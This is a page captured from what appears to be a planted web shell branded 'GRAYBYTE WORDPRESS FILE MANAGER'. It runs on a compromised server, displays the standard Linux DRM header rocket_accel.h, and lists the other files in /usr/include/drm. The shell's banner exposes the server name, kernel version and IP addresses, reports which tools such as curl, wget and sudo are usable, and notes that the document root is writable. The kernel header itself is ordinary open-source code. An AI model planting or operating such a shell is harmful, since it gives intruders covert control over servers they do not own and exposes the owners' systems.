✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/include/drm//rocket_accel.h
/* SPDX-License-Identifier: MIT */
/*
 * Copyright © 2024 Tomeu Vizoso
 */
#ifndef __DRM_UAPI_ROCKET_ACCEL_H__
#define __DRM_UAPI_ROCKET_ACCEL_H__

#include "drm.h"

#if defined(__cplusplus)
extern "C" {
#endif

#define DRM_ROCKET_CREATE_BO			0x00
#define DRM_ROCKET_SUBMIT			0x01
#define DRM_ROCKET_PREP_BO			0x02
#define DRM_ROCKET_FINI_BO			0x03

#define DRM_IOCTL_ROCKET_CREATE_BO		DRM_IOWR(DRM_COMMAND_BASE + DRM_ROCKET_CREATE_BO, struct drm_rocket_create_bo)
#define DRM_IOCTL_ROCKET_SUBMIT			DRM_IOW(DRM_COMMAND_BASE + DRM_ROCKET_SUBMIT, struct drm_rocket_submit)
#define DRM_IOCTL_ROCKET_PREP_BO		DRM_IOW(DRM_COMMAND_BASE + DRM_ROCKET_PREP_BO, struct drm_rocket_prep_bo)
#define DRM_IOCTL_ROCKET_FINI_BO		DRM_IOW(DRM_COMMAND_BASE + DRM_ROCKET_FINI_BO, struct drm_rocket_fini_bo)

/**
 * struct drm_rocket_create_bo - ioctl argument for creating Rocket BOs.
 *
 */
struct drm_rocket_create_bo {
	/** Input: Size of the requested BO. */
	__u32 size;

	/** Output: GEM handle for the BO. */
	__u32 handle;

	/**
	 * Output: DMA address for the BO in the NPU address space.  This address
	 * is private to the DRM fd and is valid for the lifetime of the GEM
	 * handle.
	 */
	__u64 dma_address;

	/** Output: Offset into the drm node to use for subsequent mmap call. */
	__u64 offset;
};

/**
 * struct drm_rocket_prep_bo - ioctl argument for starting CPU ownership of the BO.
 *
 * Takes care of waiting for any NPU jobs that might still use the NPU and performs cache
 * synchronization.
 */
struct drm_rocket_prep_bo {
	/** Input: GEM handle of the buffer object. */
	__u32 handle;

	/** Reserved, must be zero. */
	__u32 reserved;

	/** Input: Amount of time to wait for NPU jobs. */
	__s64 timeout_ns;
};

/**
 * struct drm_rocket_fini_bo - ioctl argument for finishing CPU ownership of the BO.
 *
 * Synchronize caches for NPU access.
 */
struct drm_rocket_fini_bo {
	/** Input: GEM handle of the buffer object. */
	__u32 handle;

	/** Reserved, must be zero. */
	__u32 reserved;
};

/**
 * struct drm_rocket_task - A task to be run on the NPU
 *
 * A task is the smallest unit of work that can be run on the NPU.
 */
struct drm_rocket_task {
	/** Input: DMA address to NPU mapping of register command buffer */
	__u32 regcmd;

	/** Input: Number of commands in the register command buffer */
	__u32 regcmd_count;
};

/**
 * struct drm_rocket_job - A job to be run on the NPU
 *
 * The kernel will schedule the execution of this job taking into account its
 * dependencies with other jobs. All tasks in the same job will be executed
 * sequentially on the same core, to benefit from memory residency in SRAM.
 */
struct drm_rocket_job {
	/** Input: Pointer to an array of struct drm_rocket_task. */
	__u64 tasks;

	/** Input: Pointer to a u32 array of the BOs that are read by the job. */
	__u64 in_bo_handles;

	/** Input: Pointer to a u32 array of the BOs that are written to by the job. */
	__u64 out_bo_handles;

	/** Input: Number of tasks passed in. */
	__u32 task_count;

	/** Input: Size in bytes of the structs in the @tasks field. */
	__u32 task_struct_size;

	/** Input: Number of input BO handles passed in (size is that times 4). */
	__u32 in_bo_handle_count;

	/** Input: Number of output BO handles passed in (size is that times 4). */
	__u32 out_bo_handle_count;
};

/**
 * struct drm_rocket_submit - ioctl argument for submitting commands to the NPU.
 *
 * The kernel will schedule the execution of these jobs in dependency order.
 */
struct drm_rocket_submit {
	/** Input: Pointer to an array of struct drm_rocket_job. */
	__u64 jobs;

	/** Input: Number of jobs passed in. */
	__u32 job_count;

	/** Input: Size in bytes of the structs in the @jobs field. */
	__u32 job_struct_size;

	/** Reserved, must be zero. */
	__u64 reserved;
};

#if defined(__cplusplus)
}
#endif

#endif /* __DRM_UAPI_ROCKET_ACCEL_H__ */

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
12 Sep 2026 4.57 AM
root / root
0755
amdgpu_drm.h
50.918 KB
11 Sep 2026 1.33 PM
root / root
0644
amdxdna_accel.h
16.656 KB
11 Sep 2026 1.33 PM
root / root
0644
armada_drm.h
1.184 KB
11 Sep 2026 1.33 PM
root / root
0644
asahi_drm.h
34.996 KB
11 Sep 2026 1.33 PM
root / root
0644
drm.h
46.543 KB
11 Sep 2026 1.33 PM
root / root
0644
drm_fourcc.h
75.701 KB
11 Sep 2026 1.33 PM
root / root
0644
drm_mode.h
40.834 KB
11 Sep 2026 1.33 PM
root / root
0644
drm_sarea.h
2.717 KB
11 Sep 2026 1.33 PM
root / root
0644
etnaviv_drm.h
11.712 KB
11 Sep 2026 1.33 PM
root / root
0644
exynos_drm.h
10.872 KB
11 Sep 2026 1.33 PM
root / root
0644
habanalabs_accel.h
79.605 KB
11 Sep 2026 1.33 PM
root / root
0644
i915_drm.h
128.649 KB
11 Sep 2026 1.33 PM
root / root
0644
ivpu_accel.h
14.413 KB
11 Sep 2026 1.33 PM
root / root
0644
lima_drm.h
4.934 KB
11 Sep 2026 1.33 PM
root / root
0644
msm_drm.h
20.708 KB
11 Sep 2026 1.33 PM
root / root
0644
nouveau_drm.h
14.725 KB
11 Sep 2026 1.33 PM
root / root
0644
nova_drm.h
2.025 KB
11 Sep 2026 1.33 PM
root / root
0644
omap_drm.h
3.933 KB
11 Sep 2026 1.33 PM
root / root
0644
panfrost_drm.h
8.936 KB
11 Sep 2026 1.33 PM
root / root
0644
panthor_drm.h
31.105 KB
11 Sep 2026 1.33 PM
root / root
0644
pvr_drm.h
39.225 KB
11 Sep 2026 1.33 PM
root / root
0644
qaic_accel.h
11.785 KB
11 Sep 2026 1.33 PM
root / root
0644
qxl_drm.h
4.034 KB
11 Sep 2026 1.33 PM
root / root
0644
radeon_drm.h
37.34 KB
11 Sep 2026 1.33 PM
root / root
0644
rocket_accel.h
3.753 KB
11 Sep 2026 1.33 PM
root / root
0644
tegra_drm.h
21.134 KB
11 Sep 2026 1.33 PM
root / root
0644
v3d_drm.h
23.802 KB
11 Sep 2026 1.33 PM
root / root
0644
vc4_drm.h
14.118 KB
11 Sep 2026 1.33 PM
root / root
0644
vgem_drm.h
1.925 KB
11 Sep 2026 1.33 PM
root / root
0644
virtgpu_drm.h
7.883 KB
11 Sep 2026 1.33 PM
root / root
0644
vmwgfx_drm.h
36.728 KB
11 Sep 2026 1.33 PM
root / root
0644
xe_drm.h
77.428 KB
11 Sep 2026 1.33 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF